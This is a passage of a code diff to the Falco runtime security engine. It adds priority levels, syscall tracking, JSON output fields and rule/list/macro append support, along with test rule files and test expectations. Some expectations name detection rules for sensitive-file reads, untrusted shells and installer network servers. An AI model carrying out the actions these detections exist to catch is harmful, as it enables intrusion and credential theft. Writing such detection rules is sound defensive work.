-    detect_level: [ERROR, WARNING, INFO, NOTICE]
+    detect_level: [ERROR, WARNING, INFO, NOTICE, DEBUG]
     detect_counts:
       - "Write below binary dir": 1
       - "Read sensitive file untrusted": 3
-      - "Run shell in container": 1
+      - "Run shell untrusted": 1
       - "Write below rpm database": 1
       - "Write below etc": 1
       - "System procs network activity": 1
@@ -59,44 +59,6 @@ traces: !mux
       - "Modify binary dirs": 2
       - "Change thread namespace": 2
 
-  installer-fbash-manages-service:
-    trace_file: traces-info/installer-fbash-manages-service.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Installer bash manages service": 4
-
-  installer-bash-non-https-connection:
-    trace_file: traces-positive/installer-bash-non-https-connection.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash non https connection": 1
-
-  installer-fbash-runs-pkgmgmt:
-    trace_file: traces-info/installer-fbash-runs-pkgmgmt.scap
-    detect: True
-    detect_level: [NOTICE, INFO]
-    detect_counts:
-      - "Installer bash runs pkgmgmt program": 4
-      - "Installer bash non https connection": 4
-
-  installer-bash-starts-network-server:
-    trace_file: traces-positive/installer-bash-starts-network-server.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts network server": 2
-      - "Installer bash non https connection": 3
-
-  installer-bash-starts-session:
-    trace_file: traces-positive/installer-bash-starts-session.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts session": 1
-      - "Installer bash non https connection": 3
-
   mkdir-binary-dirs:
     trace_file: traces-positive/mkdir-binary-dirs.scap
     detect: True
@@ -111,13 +73,6 @@ traces: !mux
     detect_counts:
       - "Modify binary dirs": 1
 
-  modify-package-repo-list-installer:
-    trace_file: traces-info/modify-package-repo-list-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   non-sudo-setuid:
     trace_file: traces-positive/non-sudo-setuid.scap
     detect: True
@@ -131,6 +86,7 @@ traces: !mux
     detect_level: WARNING
     detect_counts:
       - "Read sensitive file untrusted": 1
+      - "Read sensitive file trusted after startup": 1
 
   read-sensitive-file-untrusted:
     trace_file: traces-positive/read-sensitive-file-untrusted.scap
@@ -146,13 +102,6 @@ traces: !mux
     detect_counts:
       - "Run shell untrusted": 1
 
-  shell-in-container:
-    trace_file: traces-positive/shell-in-container.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Run shell in container": 1
-
   system-binaries-network-activity:
     trace_file: traces-positive/system-binaries-network-activity.scap
     detect: True
@@ -188,13 +137,6 @@ traces: !mux
     detect_counts:
       - "Write below etc": 1
 
-  write-etc-installer:
-    trace_file: traces-info/write-etc-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   write-rpm-database:
     trace_file: traces-positive/write-rpm-database.scap
     detect: True

test/rules/append_single_rule.yaml

@@ -0,0 +1,3 @@
+- rule: open_from_cat
+  append: true
+  condition: and fd.name=/tmp

test/rules/catchall_order.yaml

@@ -0,0 +1,12 @@
+- rule: open_dev_null
+  desc: Any open of the file /dev/null
+  condition: evt.type=open and fd.name=/dev/null
+  output: An open of /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
+  priority: INFO
+
+- rule: dev_null
+  desc: Anything related to /dev/null
+  condition: fd.name=/dev/null
+  output: Something related to /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
+  priority: INFO
+  warn_evttypes: false

test/rules/detect_connect_using_in.yaml

@@ -0,0 +1,6 @@
+- rule: Localhost connect
+  desc: Detect any connect to the localhost network, using fd.net and the in operator
+  condition: evt.type=connect and fd.net in ("127.0.0.1/24")
+  output: Program connected to localhost network
+    (user=%user.name command=%proc.cmdline connection=%fd.name)
+  priority: INFO

test/rules/list_append.yaml

@@ -0,0 +1,12 @@
+- list: my_list
+  items: [not-cat]
+
+- list: my_list
+  append: true
+  items: [cat]
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and proc.name in (my_list)
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/list_append_failure.yaml

@@ -0,0 +1,3 @@
+- list: my_list
+  items: [not-cat]
+  append: true

test/rules/list_append_false.yaml

@@ -0,0 +1,12 @@
+- list: my_list
+  items: [cat]
+
+- list: my_list
+  append: false
+  items: [not-cat]
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and proc.name in (my_list)
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/macro_append.yaml

@@ -0,0 +1,12 @@
+- macro: my_macro
+  condition: proc.name=not-cat
+
+- macro: my_macro
+  append: true
+  condition: or proc.name=cat
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and my_macro
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/macro_append_failure.yaml

@@ -0,0 +1,3 @@
+- macro: my_macro
+  condition: proc.name=not-cat
+  append: true

test/rules/macro_append_false.yaml

@@ -0,0 +1,12 @@
+- macro: my_macro
+  condition: proc.name=cat
+
+- macro: my_macro
+  append: false
+  condition: proc.name=not-cat
+
+- rule: Open From Cat
+  desc: A process named cat does an open
+  condition: evt.type=open and my_macro
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/rule_append.yaml

@@ -0,0 +1,9 @@
+- rule: my_rule
+  desc: A process named cat does an open
+  condition: evt.type=open and fd.name=not-a-real-file
+  output: "An open of /dev/null was seen (command=%proc.cmdline)"
+  priority: WARNING
+
+- rule: my_rule
+  append: true
+  condition: or fd.name=/dev/null

test/rules/rule_append_failure.yaml

@@ -0,0 +1,3 @@
+- rule: my_rule
+  condition: evt.type=open
+  append: true

test/rules/rule_append_false.yaml

@@ -0,0 +1,9 @@
+- rule: my_rule
+  desc: A process named cat does an open
+  condition: evt.type=open and fd.name=/dev/null
+  output: "An open of /dev/null was seen (command=%proc.cmdline)"
+  priority: WARNING
+
+- rule: my_rule
+  append: true
+  condition: and fd.name=not-a-real-file

test/rules/rules_dir/000-single_rule.yaml

@@ -0,0 +1,14 @@
+- list: cat_binaries
+  items: [cat]
+
+- list: cat_capable_binaries
+  items: [cat_binaries]
+
+- macro: is_cat
+  condition: proc.name in (cat_capable_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/rules_dir/001-double_rule.yaml

@@ -0,0 +1,13 @@
+# This ruleset depends on the is_cat macro defined in single_rule.yaml
+
+- rule: exec_from_cat
+  desc: A process named cat does execve
+  condition: evt.type=execve and is_cat
+  output: "An exec was seen (command=%proc.cmdline)"
+  priority: ERROR
+
+- rule: access_from_cat
+  desc: A process named cat does an access
+  condition: evt.type=access and is_cat
+  output: "An access was seen (command=%proc.cmdline)"
+  priority: INFO

test/rules/skip_unknown_error.yaml

@@ -0,0 +1,6 @@
+- rule: Contains Unknown Event And Not Skipping
+  desc: Contains an unknown event
+  condition: proc.nobody=cat
+  output: Never
+  skip-if-unknown-filter: false
+  priority: INFO

test/rules/skip_unknown_evt.yaml

@@ -0,0 +1,6 @@
+- rule: Contains Unknown Event And Skipping
+  desc: Contains an unknown event
+  condition: evt.type=open and proc.nobody=cat
+  output: Never
+  skip-if-unknown-filter: true
+  priority: INFO

test/rules/skip_unknown_prefix.yaml

@@ -0,0 +1,8 @@
+- rule: Contains Prefix of Filter
+  desc: Testing matching filter prefixes
+  condition: >
+    evt.type=open and evt.arg.path="foo" and evt.arg[0]="foo"
+    and proc.aname="ls" and proc.aname[1]="ls"
+    and proc.apid=10 and proc.apid[1]=10
+  output: Never
+  priority: INFO

test/rules/skip_unknown_unspec.yaml

@@ -0,0 +1,5 @@
+- rule: Contains Unknown Event And Unspecified
+  desc: Contains an unknown event
+  condition: proc.nobody=cat
+  output: Never
+  priority: INFO

test/rules/syscalls.yaml

@@ -0,0 +1,11 @@
+- rule: detect_madvise
+  desc: Detect any call to madvise
+  condition: evt.type=madvise and evt.dir=<
+  output: A madvise syscall was seen (command=%proc.cmdline evt=%evt.type)
+  priority: INFO
+
+- rule: detect_open
+  desc: Detect any call to open
+  condition: evt.type=open and evt.dir=< and fd.name=/dev/null
+  output: An open syscall was seen (command=%proc.cmdline evt=%evt.type file=%fd.name)
+  priority: INFO

userspace/engine/CMakeLists.txt

@@ -27,5 +27,3 @@ install(DIRECTORY lua
 	DESTINATION "${FALCO_SHARE_DIR}"
 	FILES_MATCHING PATTERN *.lua)
 endif()
-
-add_subdirectory("${PROJECT_SOURCE_DIR}/../falco/rules" "${PROJECT_BINARY_DIR}/rules")

userspace/engine/config_falco_engine.h.in

@@ -18,5 +18,5 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 #pragma once
 
-#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/"
+#define FALCO_ENGINE_LUA_DIR "${FALCO_ABSOLUTE_SHARE_DIR}/lua/"
 #define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"

userspace/engine/falco_common.cpp

@@ -21,6 +21,16 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "config_falco_engine.h"
 #include "falco_common.h"
 
+std::vector<std::string> falco_common::priority_names = {
+	"Emergency",
+	"Alert",
+	"Critical",
+	"Error",
+	"Warning",
+	"Notice",
+	"Informational",
+	"Debug"};
+
 falco_common::falco_common()
 {
 	m_ls = lua_open();

userspace/engine/falco_common.h

@@ -74,6 +74,22 @@ public:
 
 	void set_inspector(sinsp *inspector);
 
+        // Priority levels, as a vector of strings
+	static std::vector<std::string> priority_names;
+
+	// Same as numbers/indices into the above vector
+	enum priority_type
+	{
+		PRIORITY_EMERGENCY = 0,
+		PRIORITY_ALERT = 1,
+		PRIORITY_CRITICAL = 2,
+		PRIORITY_ERROR = 3,
+		PRIORITY_WARNING = 4,
+		PRIORITY_NOTICE = 5,
+		PRIORITY_INFORMATIONAL = 6,
+		PRIORITY_DEBUG = 7
+	};
+
 protected:
 	lua_State *m_ls;
 

userspace/engine/falco_engine.cpp

@@ -41,6 +41,7 @@ using namespace std;
 
 falco_engine::falco_engine(bool seed_rng)
 	: m_rules(NULL), m_next_ruleset_id(0),
+	  m_min_priority(falco_common::PRIORITY_DEBUG),
 	  m_sampling_ratio(1), m_sampling_multiplier(0),
 	  m_replace_container_info(false)
 {
@@ -87,9 +88,10 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
 	// formats.formatter is used, so we can unconditionally set
 	// json_output to false.
 	bool json_output = false;
-	falco_formats::init(m_inspector, m_ls, json_output);
+	bool json_include_output_property = false;
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
-	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info);
+	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
 }
 
 void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events)
@@ -134,6 +136,11 @@ void falco_engine::enable_rule_by_tag(const set<string> &tags, bool enabled)
 	enable_rule_by_tag(tags, enabled, m_default_ruleset);
 }
 
+void falco_engine::set_min_priority(falco_common::priority_type priority)
+{
+	m_min_priority = priority;
+}
+
 uint16_t falco_engine::find_ruleset_id(const std::string &ruleset)
 {
 	auto it = m_known_rulesets.lower_bound(ruleset);
@@ -148,6 +155,20 @@ uint16_t falco_engine::find_ruleset_id(const std::string &ruleset)
 	return it->second;
 }
 
+void falco_engine::evttypes_for_ruleset(std::vector<bool> &evttypes, const std::string &ruleset)
+{
+	uint16_t ruleset_id = find_ruleset_id(ruleset);
+
+	return m_evttype_filter->evttypes_for_ruleset(evttypes, ruleset_id);
+}
+
+void falco_engine::syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset)
+{
+	uint16_t ruleset_id = find_ruleset_id(ruleset);
+
+	return m_evttype_filter->syscalls_for_ruleset(syscalls, ruleset_id);
+}
+
 unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev, uint16_t ruleset_id)
 {
 	if(should_drop_evt())
@@ -178,7 +199,7 @@ unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev,
 		res->evt = ev;
 		const char *p =  lua_tostring(m_ls, -3);
 		res->rule = p;
-		res->priority = lua_tostring(m_ls, -2);
+		res->priority_num = (falco_common::priority_type) lua_tonumber(m_ls, -2);
 		res->format = lua_tostring(m_ls, -1);
 		lua_pop(m_ls, 3);
 	}
@@ -223,10 +244,11 @@ void falco_engine::print_stats()
 
 void falco_engine::add_evttype_filter(string &rule,
 				      set<uint32_t> &evttypes,
+				      set<uint32_t> &syscalls,
 				      set<string> &tags,
 				      sinsp_filter* filter)
 {
-	m_evttype_filter->add(rule, evttypes, tags, filter);
+	m_evttype_filter->add(rule, evttypes, syscalls, tags, filter);
 }
 
 void falco_engine::clear_filters()

userspace/engine/falco_engine.h

@@ -67,10 +67,13 @@ public:
 	// Wrapper that assumes the default ruleset
 	void enable_rule_by_tag(const std::set<std::string> &tags, bool enabled);
 
+	// Only load rules having this priority or more severe.
+	void set_min_priority(falco_common::priority_type priority);
+
 	struct rule_result {
 		sinsp_evt *evt;
 		std::string rule;
-		std::string priority;
+		falco_common::priority_type priority_num;
 		std::string format;
 	};
 
@@ -82,6 +85,18 @@ public:
 	//
 	uint16_t find_ruleset_id(const std::string &ruleset);
 
+	//
+	// Given a ruleset, fill in a bitset containing the event
+	// types for which this ruleset can run.
+	//
+	void evttypes_for_ruleset(std::vector<bool> &evttypes, const std::string &ruleset);
+
+	//
+	// Given a ruleset, fill in a bitset containing the syscalls
+	// for which this ruleset can run.
+	//
+	void syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset);
+
 	//
 	// Given an event, check it against the set of rules in the
 	// engine and if a matching rule is found, return details on
@@ -113,10 +128,11 @@ public:
 
 	//
 	// Add a filter, which is related to the specified set of
-	// event types, to the engine.
+	// event types/syscalls, to the engine.
 	//
 	void add_evttype_filter(std::string &rule,
 				std::set<uint32_t> &evttypes,
+				std::set<uint32_t> &syscalls,
 				std::set<std::string> &tags,
 				sinsp_filter* filter);
 
@@ -158,6 +174,7 @@ private:
 	uint16_t m_next_ruleset_id;
 	std::map<string, uint16_t> m_known_rulesets;
 	std::unique_ptr<sinsp_evttype_filter> m_evttype_filter;
+	falco_common::priority_type m_min_priority;
 
 	//
 	// Here's how the sampling ratio and multiplier influence

userspace/engine/formats.cpp

@@ -25,6 +25,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 sinsp* falco_formats::s_inspector = NULL;
 bool falco_formats::s_json_output = false;
+bool falco_formats::s_json_include_output_property = true;
 sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
 
 const static struct luaL_reg ll_falco [] =
@@ -36,10 +37,11 @@ const static struct luaL_reg ll_falco [] =
 	{NULL,NULL}
 };
 
-void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
+void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property)
 {
 	s_inspector = inspector;
 	s_json_output = json_output;
+	s_json_include_output_property = json_include_output_property;
 	if(!s_formatters)
 	{
 		s_formatters = new sinsp_evt_formatter_cache(s_inspector);
@@ -92,6 +94,7 @@ int falco_formats::free_formatters(lua_State *ls)
 int falco_formats::format_event (lua_State *ls)
 {
 	string line;
+	string json_line;
 
 	if (!lua_isstring(ls, -1) ||
 	    !lua_isstring(ls, -2) ||
@@ -109,6 +112,20 @@ int falco_formats::format_event (lua_State *ls)
 
 	try {
 		s_formatters->tostring(evt, sformat, &line);
+
+		if(s_json_output)
+		{
+			s_inspector->set_buffer_format(sinsp_evt::PF_JSON);
+			s_formatters->tostring(evt, sformat, &json_line);
+
+			// The formatted string might have a leading newline. If it does, remove it.
+			if (json_line[0] == '\n')
+			{
+				json_line.erase(0, 1);
+			}
+
+			s_inspector->set_buffer_format(sinsp_evt::PF_NORMAL);
+		}
 	}
 	catch (sinsp_exception& e)
 	{
@@ -117,13 +134,15 @@ int falco_formats::format_event (lua_State *ls)
 		lua_error(ls);
 	}
 
-	// For JSON output, the formatter returned just the output
-	// string containing the format text and values. Use this to
-	// build a more detailed object containing the event time,
-	// rule, severity, full output, and fields.
+	// For JSON output, the formatter returned a json-as-text
+	// object containing all the fields in the original format
+	// message as well as the event time in ns. Use this to build
+	// a more detailed object containing the event time, rule,
+	// severity, full output, and fields.
 	if (s_json_output) {
 		Json::Value event;
 		Json::FastWriter writer;
+		string full_line;
 
 		// Convert the time-as-nanoseconds to a more json-friendly ISO8601.
 		time_t evttime = evt->get_ts()/1000000000;
@@ -138,16 +157,30 @@ int falco_formats::format_event (lua_State *ls)
 		event["time"] = iso8601evttime;
 		event["rule"] = rule;
 		event["priority"] = level;
-		event["output"] = line;
 
-		line = writer.write(event);
+		if(s_json_include_output_property)
+		{
+			// This is the filled-in output line.
+			event["output"] = line;
+		}
+
+		full_line = writer.write(event);
 
 		// Json::FastWriter may add a trailing newline. If it
 		// does, remove it.
-		if (line[line.length()-1] == '\n')
+		if (full_line[full_line.length()-1] == '\n')
 		{
-			line.resize(line.length()-1);
+			full_line.resize(full_line.length()-1);
 		}
+
+		// Cheat-graft the output from the formatter into this
+		// string. Avoids an unnecessary json parse just to
+		// merge the formatted fields at the object level.
+		full_line.pop_back();
+		full_line.append(", \"output_fields\": ");
+		full_line.append(json_line);
+		full_line.append("}");
+		line = full_line;
 	}
 
 	lua_pushstring(ls, line.c_str());

userspace/engine/formats.h

@@ -31,7 +31,7 @@ class sinsp_evt_formatter;
 class falco_formats
 {
  public:
-	static void init(sinsp* inspector, lua_State *ls, bool json_output);
+	static void init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property);
 
 	// formatter = falco.formatter(format_string)
 	static int formatter(lua_State *ls);
@@ -48,4 +48,5 @@ class falco_formats
 	static sinsp* s_inspector;
 	static sinsp_evt_formatter_cache *s_formatters;
 	static bool s_json_output;
+	static bool s_json_include_output_property;
 };

userspace/engine/lua/compiler.lua

@@ -20,6 +20,7 @@ local compiler = {}
 
 compiler.verbose = false
 compiler.all_events = false
+compiler.trim = parser.trim
 
 function compiler.set_verbose(verbose)
    compiler.verbose = verbose
@@ -75,7 +76,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.value.value] == nil) then
             error("Undefined macro '".. ast.value.value .. "' used in filter.")
          end
-         ast.value = copy_ast_obj(defs[ast.value.value])
+	 defs[ast.value.value].used = true
+         ast.value = copy_ast_obj(defs[ast.value.value].ast)
          changed = true
 	 return changed
       end
@@ -87,7 +89,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.left.value] == nil) then
             error("Undefined macro '".. ast.left.value .. "' used in filter.")
          end
-         ast.left = copy_ast_obj(defs[ast.left.value])
+	 defs[ast.left.value].used = true
+         ast.left = copy_ast_obj(defs[ast.left.value].ast)
          changed = true
       end
 
@@ -95,7 +98,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.right.value] == nil) then
             error("Undefined macro ".. ast.right.value .. " used in filter.")
          end
-         ast.right = copy_ast_obj(defs[ast.right.value])
+	 defs[ast.right.value].used = true
+         ast.right = copy_ast_obj(defs[ast.right.value].ast)
          changed = true
       end
 
@@ -108,7 +112,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.argument.value] == nil) then
             error("Undefined macro ".. ast.argument.value .. " used in filter.")
          end
-         ast.argument = copy_ast_obj(defs[ast.argument.value])
+	 defs[ast.argument.value].used = true
+         ast.argument = copy_ast_obj(defs[ast.argument.value].ast)
          changed = true
       end
       return expand_macros(ast.argument, defs, changed)
@@ -186,19 +191,20 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
    parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
 end
 
--- Examine the ast and find the event types for which the rule should
--- run. All evt.type references are added as event types up until the
--- first "!=" binary operator or unary not operator. If no event type
--- checks are found afterward in the rule, the rule is considered
--- optimized and is associated with the event type(s).
+-- Examine the ast and find the event types/syscalls for which the
+-- rule should run. All evt.type references are added as event types
+-- up until the first "!=" binary operator or unary not operator. If
+-- no event type checks are found afterward in the rule, the rule is
+-- considered optimized and is associated with the event type(s).
 --
 -- Otherwise, the rule is associated with a 'catchall' category and is
--- run for all event types. (Also, a warning is printed).
+-- run for all event types/syscalls. (Also, a warning is printed).
 --
 
-function get_evttypes(name, ast, source)
+function get_evttypes_syscalls(name, ast, source, warn_evttypes)
 
    local evttypes = {}
+   local syscallnums = {}
    local evtnames = {}
    local found_event = false
    local found_not = false
@@ -221,17 +227,45 @@ function get_evttypes(name, ast, source)
 	    if node.operator == "in" or node.operator == "pmatch" then
 	       for i, v in ipairs(node.right.elements) do
 		  if v.type == "BareString" then
+
+                     -- The event must be a known event
+                     if events[v.value] == nil and syscalls[v.value] == nil then
+                        error("Unknown event/syscall \""..v.value.."\" in filter: "..source)
+                     end
+
 		     evtnames[v.value] = 1
-		     for id in string.gmatch(events[v.value], "%S+") do
-			evttypes[id] = 1
+		     if events[v.value] ~= nil then
+			for id in string.gmatch(events[v.value], "%S+") do
+			   evttypes[id] = 1
+			end
+		     end
+
+		     if syscalls[v.value] ~= nil then
+			for id in string.gmatch(syscalls[v.value], "%S+") do
+			   syscallnums[id] = 1
+			end
 		     end
 		  end
 	       end
 	    else
 	       if node.right.type == "BareString" then
+
+		  -- The event must be a known event
+		  if events[node.right.value] == nil and syscalls[node.right.value] == nil then
+		     error("Unknown event/syscall \""..node.right.value.."\" in filter: "..source)
+		  end
+
 		  evtnames[node.right.value] = 1
-		  for id in string.gmatch(events[node.right.value], "%S+") do
-		     evttypes[id] = 1
+		  if events[node.right.value] ~= nil then
+		     for id in string.gmatch(events[node.right.value], "%S+") do
+			evttypes[id] = 1
+		     end
+		  end
+
+		  if syscalls[node.right.value] ~= nil then
+		     for id in string.gmatch(syscalls[node.right.value], "%S+") do
+			syscallnums[id] = 1
+		     end
 		  end
 	       end
 	    end
@@ -242,23 +276,29 @@ function get_evttypes(name, ast, source)
    parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
 
    if not found_event then
-      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
-      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      if warn_evttypes == true then
+	 io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+	 io.stderr:write(source.."\n")
+	 io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
+	 io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      end
       evttypes = {}
+      syscallnums = {}
       evtnames = {}
    end
 
    if found_event_after_not then
-      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
-      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
-      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
-      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
-      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      if warn_evttypes == true then
+	 io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+	 io.stderr:write(source.."\n")
+	 io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
+	 io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+	 io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
+	 io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+	 io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      end
       evttypes = {}
+      syscallnums = {}
       evtnames = {}
    end
 
@@ -276,17 +316,49 @@ function get_evttypes(name, ast, source)
    table.sort(evtnames_only)
 
    if compiler.verbose then
-      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+      io.stderr:write("Event types/Syscalls for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
    end
 
-   return evttypes
+   return evttypes, syscallnums
+end
+
+function get_filters(ast)
+
+   local filters = {}
+
+   function cb(node)
+      if node.type == "FieldName" then
+	 filters[node.value] = 1
+      end
+   end
+
+   parser.traverse_ast(ast.filter.value, {FieldName=1} , cb)
+
+   return filters
+end
+
+function compiler.expand_lists_in(source, list_defs)
+
+   for name, def in pairs(list_defs) do
+      local begin_name_pat = "^("..name..")([%s(),=])"
+      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
+      local end_name_pat = "([%s(),=])("..name..")$"
+
+      source, subcount1 = string.gsub(source, begin_name_pat, table.concat(def.items, ", ").."%2")
+      source, subcount2 = string.gsub(source, mid_name_pat, "%1"..table.concat(def.items, ", ").."%3")
+      source, subcount3 = string.gsub(source, end_name_pat, "%1"..table.concat(def.items, ", "))
+
+      if (subcount1 + subcount2 + subcount3) > 0 then
+	 def.used = true
+      end
+   end
+
+   return source
 end
 
 function compiler.compile_macro(line, macro_defs, list_defs)
 
-   for name, items in pairs(list_defs) do
-      line = string.gsub(line, name, table.concat(items, ", "))
-   end
+   line = compiler.expand_lists_in(line, list_defs)
 
    local ast, error_msg = parser.parse_filter(line)
 
@@ -322,16 +394,9 @@ end
 --[[
    Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
 --]]
-function compiler.compile_filter(name, source, macro_defs, list_defs)
+function compiler.compile_filter(name, source, macro_defs, list_defs, warn_evttypes)
 
-   for name, items in pairs(list_defs) do
-      local begin_name_pat = "^("..name..")([%s(),=])"
-      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
-      local end_name_pat = "([%s(),=])("..name..")$"
-      source = string.gsub(source, begin_name_pat, table.concat(items, ", ").."%2")
-      source = string.gsub(source, mid_name_pat, "%1"..table.concat(items, ", ").."%3")
-      source = string.gsub(source, end_name_pat, "%1"..table.concat(items, ", "))
-   end
+   source = compiler.expand_lists_in(source, list_defs)
 
    local ast, error_msg = parser.parse_filter(source)
 
@@ -356,9 +421,11 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
       error("Unexpected top-level AST type: "..ast.type)
    end
 
-   evttypes = get_evttypes(name, ast, source)
+   evttypes, syscallnums = get_evttypes_syscalls(name, ast, source, warn_evttypes)
 
-   return ast, evttypes
+   filters = get_filters(ast)
+
+   return ast, evttypes, syscallnums, filters
 end
 
 

userspace/engine/lua/parser.lua

@@ -127,6 +127,7 @@ function trim(s)
    if (type(s) ~= "string") then return s end
   return (s:gsub("^%s*(.-)%s*$", "%1"))
 end
+parser.trim = trim
 
 local function terminal (tag)
    -- Rather than trim the whitespace in this way, it would be nicer to exclude it from the capture...
@@ -237,7 +238,7 @@ local G = {
   Identifier = V"idStart" * V"idRest"^0;
   Macro = V"idStart" * V"idRest"^0 * -P".";
   Int = digit^1;
-  PathString = (alnum + S'-_/*?')^1;
+  PathString = (alnum + S'.-_/*?')^1;
   Index = V"Int" + V"PathString";
   FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Index" * P"]")^-1;
   Name = C(V"Identifier") * -V"idRest";

userspace/engine/lua/rule_loader.lua

@@ -58,6 +58,17 @@ function map(f, arr)
    return res
 end
 
+priorities = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"}
+
+local function priority_num_for(s)
+   s = string.lower(s)
+   for i,v in ipairs(priorities) do
+      if (string.find(string.lower(v), "^"..s)) then
+	 return i - 1 -- (numbers start at 0, lua indices start at 1)
+      end
+   end
+   error("Invalid priority level: "..s)
+end
 
 --[[
    Take a filter AST and set it up in the libsinsp runtime, using the filter API.
@@ -121,7 +132,8 @@ end
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
-local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, macros_by_name={}, lists_by_name={},
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={},
+	       skipped_rules_by_name={}, macros_by_name={}, lists_by_name={},
 	       n_rules=0, rules_by_idx={}, ordered_rule_names={}, ordered_macro_names={}, ordered_list_names={}}
 
 local function reset_rules(rules_mgr)
@@ -171,7 +183,7 @@ function table.tostring( tbl )
 end
 
 
-function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info)
+function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info, min_priority)
 
    compiler.set_verbose(verbose)
    compiler.set_all_events(all_events)
@@ -208,7 +220,23 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	    end
 	 end
 
-	 state.macros_by_name[v['macro']] = v
+	 -- Possibly append to the condition field of an existing macro
+	 append = false
+
+	 if v['append'] then
+	    append = v['append']
+	 end
+
+	 if append then
+	    if state.macros_by_name[v['macro']] == nil then
+	       error ("Macro " ..v['macro'].. " has 'append' key but no macro by that name already exists")
+	    end
+
+	    state.macros_by_name[v['macro']]['condition'] = state.macros_by_name[v['macro']]['condition'] .. " " .. v['condition']
+
+	 else
+	    state.macros_by_name[v['macro']] = v
+	 end
 
       elseif (v['list']) then
 
@@ -222,7 +250,24 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	    end
 	 end
 
-	 state.lists_by_name[v['list']] = v
+	 -- Possibly append to an existing list
+	 append = false
+
+	 if v['append'] then
+	    append = v['append']
+	 end
+
+	 if append then
+	    if state.lists_by_name[v['list']] == nil then
